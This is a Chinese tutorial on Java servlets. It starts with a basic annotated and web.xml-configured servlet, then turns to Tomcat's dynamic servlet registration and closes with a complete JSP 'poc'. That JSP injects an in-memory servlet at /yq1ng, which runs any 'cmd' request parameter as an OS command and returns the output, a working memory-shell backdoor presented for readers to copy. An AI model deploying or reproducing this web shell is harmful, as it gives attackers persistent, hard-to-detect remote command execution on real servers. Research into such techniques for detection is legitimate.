Servlet简单示例
注解法
常用的是继承自HttpServlet
package com.yq1ng.Servlet;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
/**
* @author ying
* @Description
* @create 2021-12-08 16:46
*/
@WebServlet("/TestServlet")
public class TestServlet extends HttpServlet {
public void init() throws ServletException {
System.out.println("TestServlet 正在初始化。。。");
super.init();
}
public void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// 设置响应内容类型
response.setContentType("text/html");
// 实际的逻辑是在这里
PrintWriter out = response.getWriter();
out.println("<h1> TestServlet </h1>");
}
public void destroy(){
System.out.println("TestServlet 已被销毁。。。");
super.destroy();
}
}
@WebServlet("/TestServlet")
就是注解,省去了配置web.xml的麻烦,里面的字符串就是访问的路径
配置web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<!-- 配置servlet名字及对应class文件 -->
<servlet>
<servlet-name>TestServlet</servlet-name>
<servlet-class>com.yq1ng.Servlet.TestServlet</servlet-class>
</servlet>
<!-- 配置servlet对应访问路径-->
<servlet-mapping>
<servlet-name>TestServlet</servlet-name>
<url-pattern>/TestServlet</url-pattern>
</servlet-mapping>
</web-app>
注意:web.xml中配置与注解不能同时存在!否则tomcat无法启动
Servlet动态注册流程
CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析
先看org/apache/catalina/core/ApplicationContext.java#addServlet()
整个过程围绕着context
和wrapper
,而context是StandardContext;wrapper则是tomcat中管理servlet的
照着写
poc
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%--
Created by IntelliJ IDEA.
User: yq1ng
Date: 2021/12/8
Time: 22:08
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd;
try {
cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
Scanner s = new Scanner(inputStream).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
%>
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
Wrapper wrapper = standardContext.createWrapper();
String name = "yq1ng";
wrapper.setName(name);
wrapper.setLoadOnStartup(1);
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/yq1ng", name);
out.print("Inject Success !");
%>
</body>
</html>
由于Servlet名字唯一性,再次访问恶意jsp会报错